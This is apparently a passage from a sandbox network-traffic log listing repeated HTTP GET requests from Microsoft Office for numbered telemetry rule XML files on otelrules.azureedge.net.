Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
